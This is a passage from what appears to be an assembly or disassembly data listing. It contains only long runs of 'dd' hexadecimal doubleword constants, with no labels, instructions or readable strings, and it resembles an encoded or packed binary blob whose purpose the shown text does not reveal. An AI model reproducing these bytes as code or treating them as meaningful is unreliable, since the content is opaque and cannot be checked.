4FC8AB95h, 801FD620h, 0A3C076C1h, 926FC416h dd 0C9500091h, 230EA929h, 0FB00ACBFh, 0D0B1C271h, 1E2CE179h dd 0C7F00325h, 803033F1h, 0C8CE0EA5h, 7FADC539h, 0F2785507h dd 7E66D39Ch, 0E8A40098h, 0EFD7FC37h, 0CC000BCBh, 7C1C9A36h dd 749B3Ah, 0AF7D4935h, 0BCDB19B6h, 1047FC30h, 0E686077h dd 9FA4B02Fh, 0D534F7E0h, 0EC002E78h, 15BA8B28h, 91EDEAh dd 87DFE986h, 0AAE51624h, 95CC6D0Bh, 69DD00F6h, 255390h dd 72D7F486h, 6E5D1EFCh, 6F4F6500h, 0A44DB1C5h, 0C0943CCAh dd 31813380h, 867D139Dh, 0E1000BE2h, 2F57A863h, 3B7BFB50h dd 0A1805A40h, 5D323766h, 345903DFh, 49150ED0h, 0DC05D2BBh dd 0DC909033h, 3B20378h, 41FA224Ch, 2016C9F6h, 5200FB30h dd 520AC5CCh, 189B60A5h, 0D4758AE0h, 2D38261Eh, 34626004h dd 743408F1h, 72420319h, 43B79B49h, 0B0F0D9E8h, 8ABAF700h dd 1DA748C4h, 2AB200A5h, 96C3D327h, 0B982BEAh, 0F740FA1Dh dd 4755DB87h, 0A621CD70h, 1613F60Dh, 505AFBh, 377D624Eh dd 8873EAA1h, 8228B400h, 0B55FE4FDh, 0FBBC3CC6h, 0DC9C80CBh dd 910096BDh, 764D7F1h, 3F9E8203h, 0A33ADA69h, 0AE26E8Fh dd 17006CABh, 0F7F6973Ch, 0B400284Bh, 55397451h, 0EDAF019Dh dd 0E1059E94h, 4FF0209Ch, 0D244F400h, 7BFEEA2h, 926A006Bh dd 0F3350A85h, 8770DBDEh, 8E78113Ch, 0C04F2BCCh, 82E90169h dd 527094h, 45552679h, 569CA15Eh, 7D636402h, 8E668FD1h dd 0BCBDC09Fh, 4F982521h, 0C8003B40h, 99276760h, 38F4145Ah dd 936CD200h, 15F110E5h, 704A006Ah, 0EEC5DE0Ah, 9E033680h dd 176F0752h, 0AD06E8DAh, 7CE90044h, 0D75FC861h, 0EF1C4742h dd 36C78256h, 400B2EEDh, 301E406Ch, 69D9EB05h, 771DCB35h dd 7B043D68h, 0B4A3D750h, 3CD96C11h, 179D008Dh, 0EA065E32h dd 75F800B7h, 0E4D64A30h, 36FC3D8Bh, 22414020h, 87F99D45h dd 4478E2D9h, 0BB209CB0h, 377481h, 69BFE19Ah, 9799C1DBh dd 8CB1E500h, 0FD2E61CBh, 1C494ABh, 0BF8B5C79h, 4E08E9h dd 0C0283C2Bh, 8F96E545h, 2E43A03Eh, 40000961h, 0C6020D0Ch dd 0C8D51483h, 0C212CE5Bh, 21B88862h, 787D5722h, 35907Fh dd 855ACECBh, 99455824h, 2F122AE8h, 0A097FFh, 0B0664B89h dd 271F4AB0h, 4106A6C5h, 249B9BDh, 323D5554h, 5480E920h dd 8E249887h, 651CB6F8h, 0C50745DFh, 0CB32670Bh, 9D645CB7h dd 9CC7002Dh, 0C2E0BC42h, 541B01Ch, 169F0870h, 0A5430972h dd 406888C3h, 0DD0003DEh, 4489A38Ch, 57E980h, 90070BABh dd 48012ED8h, 4027637Bh, 7CF06896h, 3FC9001Ah, 543D43A5h dd 0E2EC1B74h, 72758D00h, 0B7E55DFh, 0A4150077h, 308AF71Fh dd 5C018457h, 0EC24D128h, 59CCBFD8h, 54DC07F1h, 8E1879h dd 5F75864Dh, 0EAA4A306h, 371D296h, 52E28058h, 4E0F80Ah dd 8E0F2AD0h, 8328596Ah, 0B0D30F1Eh, 6F50E7BDh, 2D00C8EBh dd 20B76D2h, 6DF53Eh, 3063C7B8h, 4CAC51h, 0FA1E37D5h, 0DF06A420h dd 97C04F00h, 7079AFE2h, 0BF823D66h, 4411F5B0h, 2404A1DAh dd 5C0646Bh, 0D23C60ADh, 64C02CA5h, 2F06076Fh, 0D83F588Bh dd 4BE20EDCh, 61E03E39h, 2AD29AB5h, 0C9AADE00h, 9F3C7F1Ah dd 13F68Bh, 3275497Eh, 57EEDACBh, 957A5E00h, 7C856017h dd 8EB56C46h, 5A037630h, 1DDBA763h, 0F871CED6h, 0F504A52Eh dd 0B9E1FE80h, 60C267C1h, 5D031839h, 0DD01347Dh, 0CE1D546Fh dd 98F81659h, 67A9004Ah, 2E92AA31h, 7C64FF02h, 9021C829h dd 9CE51397h, 487ACF44h, 74ED42BCh, 7122D924h, 94089011h dd 3CCD5184h, 448D4F3h, 25709942h, 13140821h, 221CF842h dd 1524AB35h, 128CF121h, 0FD5710ECh, 84C94940h, 33179010h dd 223C4028h, 0BD42037Bh, 2964473Eh, 0E4A42334h, 46AB5144h dd 517985BEh, 0FFC51428h, 86057990h, 44298250h, 4701B11Ch dd 9FEB3831h, 0E5F98D0Bh, 0FB3CFC0h, 0E4354C3Ch, 1845580h dd 0BEF4A7C6h, 0C162000h, 0ED05D90Fh, 0F58D006Bh, 1D715732h dd 85002DAEh, 7EABE9Eh, 2CF15689h, 0F84D38Bh, 0B2C03BAAh dd 8FDC8CAh, 2500C7E2h, 0DD89C42Ah, 71A0FFh, 0E8DC6E9h dd 0B31F502Bh, 0CCC75900h, 0C252A45Eh, 0D9831EB8h, 0F45FC0A8h dd 769BDAC4h, 82973Fh, 748EF87Fh, 9C816h, 4B125BC0h, 6570D1A3h dd 0C3557901h, 1B5A0DA5h, 1445824h, 5B194AFCh, 9FAB084Bh dd 0BE807A78h, 0CEE4A89Bh, 0D0F30090h, 0E8AD291Ch, 3B263F2Bh dd 3D8014A7h, 0A433D6DAh, 3251D4Bh, 0BF1D0098h, 99C4C092h dd 0E71B500h, 7D5851D6h, 6DEA0090h, 8A5B5070h, 0D703D8FAh dd 2F44BDAAh, 0ECC5886Bh, 22E41CA1h, 7CB70081h, 69939702h dd 0E02CFE00h, 0D3A179B5h, 9A7A00E2h, 7DF81657h, 8007771h dd 8D017CF5h, 7C4C8A1Dh, 36091F94h, 0DCB0F75h, 7CC8C03Ch dd 2634919Ch, 0B2B37106h, 0F0D53Ch, 15785E1Ch, 49F87EC6h dd 0DE01E071h, 43C3D16Bh, 5F60D07Fh, 1FE50748h, 0E402F3h dd 2B827EBEh, 5650CF00h, 0DD75FA83h, 0CA961E9Ch, 0E116C1E5h dd 435FB40Ah, 70906085h, 0C80003DDh, 8723E8E4h, 50F5D309h dd 0F1F2A402h, 0E02BC880h, 261DC64Ah, 0F4103901h, 24748C84h dd 0C39CF0h, 0FCE785C1h, 0CD55E8FEh, 46994E00h, 354DABA6h dd 320701F4h, 0C4EDEF5Dh, 4740209Ch, 0D316C900h, 185B4AFEh dd 3FAE7E49h, 8F9ECBECh, 0A6DCC1EAh, 0FCEE1EF1h, 8201A298h dd 3C853AE6h, 2330D06Ch, 29A1073Dh, 41D308EBh, 20B31110h dd 15009860h, 392C7B73h, 50E8E9FCh, 45BA8AAh, 883A2029h dd 0D42080E5h, 0E000BFB3h, 1CAA25BEh, 245972D5h, 1C501099h dd 9909304h, 9410D7A0h, 0AA02CE4Ah, 0C2E261BCh, 859848FCh dd 65920795h, 3937241Fh, 997A4500h, 5500A39Fh, 264D0D96h dd 53752Ah, 872491A6h, 0D0CAF9F2h, 0B121300h, 968ED1FFh dd 157D0027h, 3C063B2Ah, 0CF0390AFh, 0E2C83E48h, 419EA0A8h dd 0E04E039h, 6254C2F9h, 0ED93FD60h, 0DC00F836h, 462D0526h dd 0B1D41Eh, 751F1C9Ch, 62CA15C4h, 65063601h, 76C39AD1h dd 482107F7h, 72B4DAh, 61B28016h, 5824B970h, 3AC4B0h, 0BB8E6723h dd 713398F1h, 0E5AF03EAh, 895AC643h, 398AFB98h, 80931E3Fh dd 0C5F84EF0h, 3689F22h, 0F3015D97h, 0F7A8F5B0h, 6F398AD8h dd 7C358006h, 4CEB1DD9h, 9E380029h, 47DDF04Fh, 6500E360h dd 0C38B50E2h, 262D9F20h, 13BFFCh, 9B64244Fh, 0C71D3297h dd 0C0860F0Eh, 70C354h, 0E3B73B1Fh, 30518844h, 14F70903h dd 0B852ED6Ah, 3D757464h, 720338A3h, 0F20D6002h, 0E004BDA9h dd 0A013762h, 1C1E3CF9h, 13F4702Bh, 6AE00F9Dh, 3BA00DDCh dd 7A954ED0h, 0C7330901h, 0C2229BAAh, 14A3DCh, 4C251B26h dd 3DF39940h, 9305E600h, 887CD5A6h, 0F09E0014h, 0C9B30A51h dd 47176B8Ah, 0BE00C73Ah, 0A945894Ah, 0FBC101E3h, 99717AACh dd 3900EFD8h, 0D6C6F50Bh, 97B5ABh, 0CD15175Bh, 7A9C45EAh dd 874A9B0Bh, 0E4E8003Dh, 3F0DEC65h, 880B175h, 66138B6Fh dd 0DF1268DDh, 7F0E7648h, 0A26B87FAh, 90B0C08Eh, 28130A5h dd 62FCD840h, 38C03DC6h, 2F3C3F07h, 3B98BD71h, 0A42726D9h dd 8C2AE983h, 74C0B467h, 2DF221h, 0AF261B24h, 0E9BA4A0Ah dd 0A7D2B912h, 0D3C6E600h, 557827h, 53913350h, 0DC9EAB59h dd 661C4001h, 9F57DF32h, 7FF589C0h, 731312ADh, 23CA008Fh dd 15F00B47h, 0BD1ED6E6h, 0C1C0DBC0h, 763D3ECAh, 6BEE3A2Eh dd 8D16F400h, 1287E64Ah, 8B61830h, 0EEED01h, 74BB5FABh dd 0BEFE8152h, 1E3D03E6h, 43E2804Ah, 0BA7F4EA4h, 0C42E07B1h dd 0E064C7A5h, 0BBD83776h, 0B8771E02h, 80AEC6F6h, 6CF4FA8Bh dd 26A20334h, 27108E35h, 4DD29C0h, 217F5700h, 39F94C94h dd 0C6E40F55h, 0D560A30Eh, 185D3C77h, 1A26A898h, 8780A010h dd 0AE25DDD3h, 1BC80041h, 0CD0CB41Dh, 0DB007D57h, 354F8DE9h dd 3E58C6h, 2E319705h, 9DA5D3CEh, 899F9B1Fh, 4D4617C2h dd 0FFA860A2h, 54DE4D21h, 0F289E63Bh, 44843B92h, 5F63800Ah dd 700372Eh, 0D616291Dh, 32B2Ah, 0DADE6C7Fh, 43063540h dd 0DC0FCE72h, 0A09F09F1h, 0CB49891Ch, 275D0019h, 0C8CE1098h dd 8500B8CCh, 38CEDFAh, 0BA9B1Dh, 8E306263h, 0A80CDF50h dd 6AF14F03h, 73E0274Dh, 6EB10010h, 77B77F5Ah, 0B9001585h dd 0C345CB2Ah, 0FF99E0Ch, 0BAAA9541h, 0FCFABCC0h, 0AFB8794Ch dd 8055B539h, 5D40EAE4h, 3C73E1BFh, 3E806A81h, 49FA52B7h dd 0C8007FC1h, 0BF02E034h, 16042F77h, 4009ADDCh, 0DDF15130h dd 5B1DA9B0h, 10401541h, 38D0468Dh, 66EE3D32h, 0FA89Ch dd 42A4AF0Ch, 3602125Ch, 97C86314h, 74B0403Fh, 5E1B0095h dd 17F46245h, 430CBB7Fh, 0FA986D76h, 0DE590086h, 721C6749h dd 61124FD8h, 0B4406CAFh, 0D79465A8h, 0EE67EACDh, 0A09F124Eh dd 0C9B00177h, 102CD6DFh, 11BB81Dh, 0B059844Bh, 2058B35Eh dd 0E3E5F6E4h, 23CC0085h, 9C36B5ACh, 31C0A500h, 8C9AFC0Ch dd 0D4B200AFh, 61DDE773h, 0C400B3E3h, 488136EBh, 243545EFh dd 9CDE9Eh, 8AC8A98Eh, 4D01E63Eh, 0F0B3093Bh, 0A6402B50h dd 1DD024h, 9FF6A11Ch, 96D24E7Ch, 0B943F800h, 7FF71B06h dd 46280720h, 0C0BD7E17h, 9F0868CAh, 8054FA3Ch, 0B4675842h dd 3F91F3ACh, 3280B517h, 0A85605A0h, 2600E4A9h, 0FF312E8Ch dd 3CE9EE3Ch, 24991DCBh, 0D09FF084h, 4A001C57h, 0EF564508h dd 326F5h, 1F324FA2h, 5036F2E7h, 86D20500h, 14933D6Fh dd 0A25E0782h, 0B0915284h, 924A65AFh, 0D695A30Eh, 8ECB3Bh dd 1EE91D3Ch, 60161E4Dh, 6663C3BAh, 0F2F05C17h, 0E800E505h dd 11A26C7Dh, 0A025E056h, 7B850B8h, 7092C4D2h, 28D56010h dd 84906BB4h, 6736B207h, 7E17C973h, 0A77B7FE0h, 0EBC100ACh dd 58D8B0A0h, 9D0FF7F6h, 8099DC03h, 2CD52A60h, 6E040031h dd 0B4F537EEh, 0F200728Dh, 94E5CE3Dh, 12D86BBEh, 7492F46h dd 0D3C03CA4h, 1FE08108h, 3400E465h, 5279D8CBh, 0F4983D64h dd 12B900C2h, 84A10423h, 41162156h, 0A503AA01h, 0BA71F227h dd 0CE446016h, 0E375005Bh, 0B90FB447h, 0E400E169h, 8068BFFBh dd 0BC3050h, 89B61FC9h, 44F2F893h, 42C88207h, 8FA07275h dd 0B0678159h, 0DA710438h, 0C0A0C999h, 9ABD4B44h, 1FBB4488h dd 0EF78C6h, 0D2BF2B7Fh, 590AFED4h, 90D638AFh, 0DFB9FD03h dd 0D8439306h, 0DCD949h, 7CCB5F03h, 0ED9B5573h, 0B80130B8h dd 0F013D53Fh, 0D460B6D2h, 82610280h, 6DF7364Eh, 0F431B341h dd 0F0084ABh, 19BEAFD4h, 1D13959h, 0ECDA6BF0h, 31036E0Ch dd 33F3D432h, 0F57CC602h, 0C0CFE91Eh, 0F1724h, 55032234h dd 3AA8479Fh, 81A0C509h, 6E286023h, 54E90EB1h, 70204952h dd 0C5A527A9h, 0F1C44D00h, 25FF85F2h, 0C72302E4h, 155A13C9h dd 1426B880h, 0B0770BADh, 21E12705h, 0CB0095BAh, 0C918D819h dd 0E7F443h, 0A14B81EDh, 713A44AAh, 2A3CFB1Fh, 2061A5FEh dd 42133928h, 0B840F141h, 2722593h, 0F54D3380h, 0B4A00A4Fh dd 37E38441h, 0EA2A30B2h, 5748874h, 1126ACA0h, 0C56EE9F6h dd 919D0011h, 90F8262h, 9AABC3A7h, 4A4020E2h, 0FE25AFA3h dd 6A78003Eh, 1EE1C3Ch, 0F0E4BDF1h, 285B3347h, 8CA13CE0h dd 1189DD25h, 46510044h, 98DEFFA6h, 0E661B75Dh, 0C9B26459h dd 7B82474h, 1FEB8CBAh, 619E63ECh, 37DF1901h, 550CA55Dh dd 0D49F8B40h, 94250524h, 0C04C0E8Dh, 0A2F0F418h, 0B30032EAh dd 89302CFDh, 0B8876FF3h, 3F140044h, 7F2F3D81h, 0CE0AF7C0h dd 0E9C4E990h, 0A6535100h, 3E700FEFh, 310297F8h, 9E02C996h dd 71B810C3h, 0AA016CD0h, 0A9FD50FAh, 3880389Bh, 0A4100EE5h dd 700CE66h, 34C3863Ch, 3611292h, 8C22212Fh, 2A8B6993h dd 117101F0h, 840D5Ch, 31769D62h, 1E73858Dh, 0B12DC98h dd 70805D7Ch, 0EDB57796h, 1E2B6B00h, 5A93A642h, 1CAA00ACh dd 27E78DD2h, 0B200F6EFh, 34E96D92h, 8591C5h, 7EE5550h dd 0E59CC368h, 92FA48h, 181ADE47h, 3C91BDF2h, 0A480EC98h dd 2A5EB344h, 0C200FEB2h, 9E3F7E56h, 0DE2BA1h, 25F4CD97h dd 0A31324ECh, 36A2E224h, 0DFEDB00h, 7D60B4AAh, 0CA9F003Eh dd 6335230Bh, 8F07BB9Dh, 98B33925h, 11AA5870h, 22B000F6h dd 13DD3637h, 0E8E1ACA4h, 1A029C33h, 0CA19BDF0h, 4753E069h dd 0AC7013EBh, 31E8F0FEh, 0B895FB00h, 3861DE5Fh, 8FD23DFAh dd 60BB7900h, 5CEB6825h, 0C8E7AC3Eh, 4DDA0075h, 0EDEEF3FEh dd 96867867h, 0F0230050h, 0DF6E0FB3h, 0BA001D90h, 0EF468007h dd 21FD3F3h, 603A3FC0h, 34E04FFBh, 8400F6DFh, 0F8A8E804h dd 356CD6Fh, 0CE0CEF74h, 45F358CCh, 46300B88h, 0E2DF1800h dd 0B5B9A7BCh, 0DB5001FEh, 0A4D74202h, 7082E092h, 4E583900h dd 84C8AE96h, 0A7E10003h, 44AB6EFBh, 0FA000B66h, 0F9FD1CCFh dd 5D58F1h, 34CBEC1Bh, 0F5A1428Ch, 54B93E00h, 0BF5FB551h dd 72988Bh, 0D7F6F97Bh, 0FBDC4917h, 8ED51100h, 2CB54F8Ah dd 26CA00EAh, 1AE97967h, 0FE032B0Bh, 41B62139h, 0AB239145h dd 323870h, 0FA53117Bh, 13490472h, 861E39h, 7173F518h dd 0D4F1F0h, 98A95F38h, 6F4C8BB6h, 9074400h, 837FB94Ah dd 63DB0024h, 943702E4h, 0F022E50h, 0D0F0AA2Ah, 0CEB4C053h dd 74A7004Ch, 87EBFD52h, 0F7040DB6h, 9915F3E2h, 717D7C80h dd 0E12D0068h dd 371CD490h, 0D500C984h, 0AA421A4Bh, 1680BB10h, 0C0CAF860h dd 0ED44A064h, 0AE0081F2h, 0BF9B7FFAh, 235C74Dh, 15665239h dd 0FC40E4CDh, 28003B1Dh, 3FB531F5h, 32F14FEAh, 0C249CFDCh dd 500A4E01h, 0E8E45434h, 8E5D09A0h, 74A0E0DFh, 83026009h dd 852CC000h, 968FBA71h, 175C000Bh, 4EFBFA6Ah, 9C010E8Eh dd 7D7686EEh, 1260C593h, 7E110069h, 0F1859458h, 1BFA0F39h dd 343E951Dh, 64305340h, 0FDA3DEh, 0F3D51A3Ch, 23628A27h dd 1B8C802Eh, 3F1C6817h, 7A484540h, 14C227FCh, 8CBB6CA6h dd 4DB12400h, 68C6948Ah, 0D966D40Bh, 52F080F2h, 0B0D7FA0Fh dd 1E2E1D78h, 4D0D4311h, 6E88301Dh, 0FD1EE880h, 6340F10Bh dd 87FEAB17h, 0D9712Ch, 5B78C434h, 21F828ADh, 49F9E214h dd 74060998h, 46D0A0CDh, 71981BAh, 7907A435h, 6B281778h dd 0E1CD3401h, 0AD0BC0EAh, 0DAD15A01h, 0C7A24A9Ch, 0B6015C3Dh dd 60E17359h, 3360609Dh, 4912C505h, 0C401E51Ah, 9214EF87h dd 3349130h, 75217B1Fh, 797F153h, 1ABF60EBh, 2913715Ah dd 0A8006D78h, 0E80316C4h, 847A53h, 0B8D111F9h, 0EB09FF45h dd 0A9968000h, 369EAB66h, 0FD3401A0h, 0A8B77C5Fh, 0F419807Bh dd 9744FC65h, 6C9003CFh, 0B4EAFB3Ah, 0F8AD1100h, 9B1816F7h dd 89731F30h, 70A60E2Bh, 0C17F403Fh, 6938AADCh, 99BC8E01h dd 0D7F7B760h, 1B87460h, 1BED4843h, 3013F911h, 45038F9Ch dd 0EA3AE6A4h, 1A6BE826h, 0A433497Eh, 2A61800h, 3DF6887Fh dd 9113620Eh, 3917A055h, 48E68FEAh, 0B907B092h, 10DD8AFDh dd 2DEF0BE2h, 32C3448h, 0C3881BD1h, 924E9081h, 0B1350009h dd 3FC437Bh, 7400BA17h, 9C08AEDDh, 6C2EDD9h, 108D8C86h dd 0A1000899h, 94AD4832h, 0AB063Eh, 56709F31h, 20A04284h dd 8F29500h, 0FA9EAAF7h, 0BB8107B9h, 70ABDB25h, 671EA112h dd 80FE333Ch, 85622E57h, 0E74204h, 79117C0Eh, 2318C776h dd 1000EC98h, 81C0CEEFh, 20638Dh, 5539F8DDh, 0E2E4E505h dd 80AE023Bh, 17C65D2h, 7CB72574h, 7A77005Eh, 9D31720Bh dd 6B3BEBA4h, 8DC5808Fh, 0E199E73Fh, 51AE007Bh, 3DEF610Ch dd 0BE1EE382h, 92C0EB90h, 0E222E069h, 36230B48h, 6A0216FDh dd 38F08A0Ch, 0F27F5500h, 97D8CE3Ch, 35980EC9h, 0CF6FECD2h dd 0AB61C1C0h, 205C1EF7h, 976F1E23h, 185FDEFBh, 4CC18C83h dd 5070EB65h, 780F48h, 8434224Bh, 1133FD8Bh, 1AF0CF00h dd 0E588A471h, 7F540F5Eh, 0C0C7C8B5h, 46B372D6h, 49B094E0h dd 0C119CF17h, 77BAC880h, 4428F717h, 2D221C03h, 5FF0D624h dd 4401048Ch, 0D470FC9Dh, 0A8CB2CECh, 900183BFh, 0CEB58D8h dd 5F1416h, 3B938D04h, 789AAEC4h, 0A012379h, 74E32A5Ch dd 4ECC5967h, 0FC1C0032h, 504635A1h, 2701CB13h, 0B0DC238h dd 0A7E03BB4h, 89DF245Ah, 0FC803978h, 0E848F50h, 3300483Ah dd 0B3EC418Eh, 25CE2151h, 80A375E7h, 7800832Eh, 4A11EA9Bh dd 0D373ACh, 3C131656h, 0EB691C68h, 80D75000h, 4BC0FA34h dd 4DFC0063h, 0F78D661Ah, 1F0028F3h, 0DF73EF90h, 25F55F53h dd 7C4096E5h, 0F400A821h, 8D72E281h, 729BEE07h, 19EC64h dd 909D05C6h, 6386FE82h, 0FDC76600h, 0E87F3FFFh, 0E7809B3h dd 444087AFh, 0E00053FBh, 1844691Bh, 0EF42F33h, 2DC6D936h dd 0FED234C0h, 0F505E546h, 68113B54h, 0DD6F3490h, 0F477DCh dd 2A5FEF8Fh, 0EDAD0E19h, 1A079F2Dh, 4858A4h, 0E20AD12Ah dd 0E88AFAF6h, 0CC307700h, 49BAEAC7h, 0DAEC1DC5h, 1800E511h dd 0A05BF336h, 0F2CD7806h, 88990Dh, 0B51E514Ah, 0EC3B6170h dd 4FD03201h, 0E2D4504Dh, 259886DCh, 0F0271B58h, 0C0A4D014h dd 15F469BAh, 8886C40Ch, 0B64478C9h, 50B707B8h, 1420F999h dd 0EC8D7727h, 0B60ADE13h, 65B000AEh, 92757490h, 571B0D04h dd 0E8C0ADD6h, 48688876h, 0C301359Bh, 0EBB2B370h, 0F6488189h dd 3059DD37h, 0FA463C8h, 8620F8FAh, 93872A43h, 0E99BA101h dd 1C57EBA5h, 2A352C48h, 1CA0EDD3h, 518A36Bh, 0A0BF5664h dd 0F901E87Ch, 0CD20E094h, 0B5E01033h, 2C98003Eh, 9756C170h dd 0C8A0C6A1h, 5507F199h, 0BC145489h, 0EB778880h, 0E4E009h dd 23E62E5Fh, 9F5985C5h, 6B204B60h, 17012C47h, 0C07929D3h dd 223720F0h, 0C010A84Bh, 692300EEh, 4DCA291Eh, 570A000Dh dd 5E6CB37h, 6A01F10Ch, 6B8E0843h, 78CA97FDh, 7CF40188h dd 0CF1E72DCh, 0E17BE8DAh, 2C8E407h, 23510115h, 0BDE0A3D9h dd 8B6903D0h, 7E29EF8h, 138C0FCh, 0DB4A90DCh, 11F0781Dh dd 0B56182h, 2DE9FE08h, 0CE72B6DFh, 32B08800h, 8EBC9F50h dd 0B3390027h, 0FD217A8Dh, 8C002E56h, 9E4C3A7h, 0E4CA88A0h dd 598E0C1h, 7C338EB5h, 0E8D04295h, 0C4A0C8B1h, 823861EBh dd 0EE01492h, 1C21FB07h, 1B25091Fh, 7B79D0F0h, 86100FFh dd 0C4B16865h, 7B00EAB7h, 1CF96DBh, 143D2C1h, 0C20AE926h dd 60562917h, 0ED00A0C4h, 7E9E9D38h, 745966F8h, 0A9786Bh dd 0A6E235E4h, 136709BBh, 0C00DCBEh, 0EC0B3381h, 1A1C0C7h dd 9EB31492h, 0BA3F4A00h, 0DA61EAD2h, 0C29C015Fh, 7CB82487h dd 0F757C49Ah, 0AAEF4700h, 0E155787Ah, 0CBAF0023h, 2EDA267Eh dd 1400A3C6h, 828C881Ah, 390761ECh, 773EE5h, 5B0D119Ah dd 88564CFh, 27D33107h, 0FAE07ADAh, 0E943FCh, 0ADA7A2AAh dd 3F2CA964h, 6752D617h, 1DED3CC0h, 0B3BF801Fh, 10E5D230h dd 2F5E495h, 42C07F17h, 0EAE0CA58h, 0BF003161h, 0C395ADE6h dd 39148974h, 938063A5h, 5AA30216h, 0A80076D5h, 80B2B14Eh dd 7111A7Ah, 1B0E93C9h, 7E4FA5Ch, 0C0F2EF1Ch, 0D78E5DC0h dd 3C3FAD01h, 0F61A27E9h, 5FCAE4h, 1F4A4E28h, 0DC8B04A7h dd 9B46BA02h, 0E0698ACCh, 0ED01A550h, 171D5DF4h, 1975924h dd 0F729E554h, 38B8684Ch, 2E73809Bh, 0B86BEE27h, 8303009Fh dd 7F97B2FEh, 7107C1CAh, 3160EB8Ch, 0FF2420C9h, 1D05FEh dd 6A0A101Bh, 38EEA3D1h, 0E401B090h, 93751987h, 0FC34C817h dd 0DAD24AA8h, 258F0908h, 780820F9h, 50B86677h, 9186A0h dd 1E386384h, 1C6C03E6h, 0FD9FC200h, 952D71EFh, 0DBD0004Ah dd 0EB3C6270h, 0D100E133h, 71AB84E0h, 1BC6AAh, 0F125992Ah dd 8CF978B5h, 100DFE0h, 5F646CFDh, 0FAA1FF14h, 68DE48C1h dd 74CD4000h, 0C94F60D6h, 777BA300h, 7503529Ch, 0DB0D006Ch dd 7B05DC6h, 422E0F86h, 4602DDEEh, 0E0A64B39h, 55C4C0h dd 29768378h, 0FC401743h, 23D9400h, 85C28F18h, 103904FAh dd 0C1C460CDh, 34E522F6h, 0CC0209B4h, 0ECC70726h, 0A88A0B8h dd 0F6318Dh, 0A3AA68F9h, 0B9D54288h, 5C783702h, 6BFF76FCh dd 9357B870h, 0B887075Bh, 0A0461CCCh, 0E8D7FCB3h, 0CFB65428h dd 740B3C00h, 1FDF53AFh, 9E802836h, 810500D0h, 0D2B9FB3Dh dd 0D89A7327h, 48405216h, 13E1D027h, 99806FA4h, 785C59F9h dd 0A0B04820h, 807DD425h, 0D50EEDCh, 0E8580006h, 6BDFA1E9h dd 6C1EF7B5h, 7C0C9F9Ch, 17866101h, 13BC9Bh, 5F124120h dd 0C400DCD8h, 55AC0219h, 77A4A7h, 73CE0BD1h, 58B4A35Ch dd 60FCAB0Bh, 5209000Dh, 4E9B63AFh, 20500090h, 6793EEACh dd 0B0B05744h, 4E704F8h, 912715D8h, 44E3A240h, 8B8CD8C8h dd 0AFB05305h, 2CC870E2h, 0A1C6055Ah, 0DC5D1006h, 90033320h dd 97A2B99Eh, 14D17C7Eh, 90040CF1h, 6A01FC58h, 0FC023C80h dd 2B20823Ah, 0EC6C83BEh dd 18271564h, 0B8038C4h, 0A24B3BA4h, 78FDCA31h, 0B475799Fh dd 0D82090E6h, 25291639h, 0B0EA0196h, 0CE923091h, 20C1B841h dd 0F224E3D0h, 912CF8A9h, 679B9700h, 0CA5E081h, 0AE7AA7B6h dd 4E00F648h, 6014AF5Fh, 0C0D51104h, 0B32CA461h, 0E330F736h dd 691A888Ah, 0E9196347h, 52AEB0A7h, 0CCF64812h, 7382038h dd 0FDAED317h, 0A4FE4067h, 0F900294Eh, 0D9723066h, 28F96D1h dd 0DEFB3F90h, 0FDC183EBh, 246082ACh, 0E0B73375h, 50BA2304h dd 0B688C491h, 0E27450B0h, 4C29B103h, 0E093035Dh, 1F73CA77h dd 40AF242Dh, 112FC7D8h, 61028B54h, 9A6E17F4h, 16FC5ECAh dd 7CCC0039h, 0A491C089h, 6B103860h, 78C8F4D9h, 3F2009ADh dd 420B853h, 0ACD7D235h, 89DA873Eh, 20264884h, 786EA480h dd 0C13B2C9Ch, 0E9BF80C8h, 2B193A2h, 0C828C5F4h, 4700908Ah dd 0C777DEDBh, 44FC10h, 8D322D75h, 2AC93C0Eh, 3C21223Dh dd 0BBD08002h, 0F35250B1h, 6E260029h, 6C4D3C8Ah, 6200BD11h dd 8EB2D025h, 1CF7F1h, 8DBBB00Fh, 158493FFh, 1F9CC65Dh dd 0FBC0D3A1h, 0F59AEE7Ah, 32E31D47h, 0B694813Ch, 0C6EC4ABBh dd 6FBF04E0h, 1CA74200h, 0D1D0FD12h, 9E5C007Ah, 0F26A9F22h dd 0A1F0AEE2h, 0D60EAF00h, 10B0F155h, 3DB7B83Ah, 5878B70h dd 221D8835h, 0BC807EFFh, 0D09006BDh, 0DA01FC76h, 0A756A43Dh dd 0A8413181h, 72EDC4Eh, 0A08F3378h, 7C5D61E9h, 0FFD14F00h dd 493BB0CFh, 0A3500A0h, 0BC727813h, 0C20E4802h, 10F22Ch dd 6BE708DAh, 59F1008Dh, 0BE054918h, 3D27CBEAh, 484C1Bh dd 0BA346C8Ah, 4E32218Fh, 4E0B800h, 2EB960B4h, 1D3AF436h dd 75DF640h, 20D8897Ah, 0FD6A9050h, 0E18C4700h, 165638BCh dd 0B9D003Ch, 0F28AC1D0h, 510E08A7h, 8024FD8Bh, 0C2E03B72h dd 0F3E8F8B8h, 245D98FCh, 800CAB39h, 0FA601B7Eh, 5E1DD3E1h dd 911DB4A5h, 80BBD28Bh, 57460EFDh, 722D009Ah, 74FDA9AEh dd 9C00BA18h, 0FCC243B7h, 0BC7F5Bh, 13CF7A17h, 0F7F9C7CCh dd 83077E00h, 0AA03FC33h, 43FB006Ah, 0C390CEDEh, 2005AB2Ch dd 0CA980257h, 0D6D4A4C0h, 0AB91FA8h, 0FE5C4C19h, 0CB005719h dd 992BA55Bh, 2C3CF9E8h, 760ADA0h, 0D072D2CEh, 2810925h dd 56B7C8A8h, 0A87EEF00h, 0E7535740h, 0E44607F5h, 0FA883677h dd 40200BCh, 5F9C69F9h, 6016DCCBh, 165A7770h, 949EEE5h dd 4C517682h, 607D820Fh, 0F7BD1DEFh, 9C735962h, 80F1771Eh dd 3A6EAA3Ch, 9FBEA4h, 0DBDDFC34h, 64310BE8h, 58A08142h dd 0EA5C6DFh, 0A11A9900h, 799251CDh, 33E0305h, 8E49FCB5h dd 0FD6F30D7h, 52EEEDDDh, 0DE00809Ah, 3DF39706h, 96118A6h dd 1D67517Dh, 0C02B7880h, 0CE04804Ah, 1A06C8BFh, 8627DCD8h dd 0CD8D60C9h, 0B500460h, 0E520D04Fh, 865899D7h, 0CC105104h dd 8C3204F5h, 20B25112h, 0BB33F751h, 10DC600h, 44E2EF60h dd 303B5895h, 54007AA8h, 0E89E0991h, 2797A6B3h, 0D8196C1Eh dd 5C15129Dh, 21BC00D8h, 396DACAAh, 84E6B80Fh, 680DAAECh dd 0C86652h, 9EB93CF1h, 0F9F7D450h, 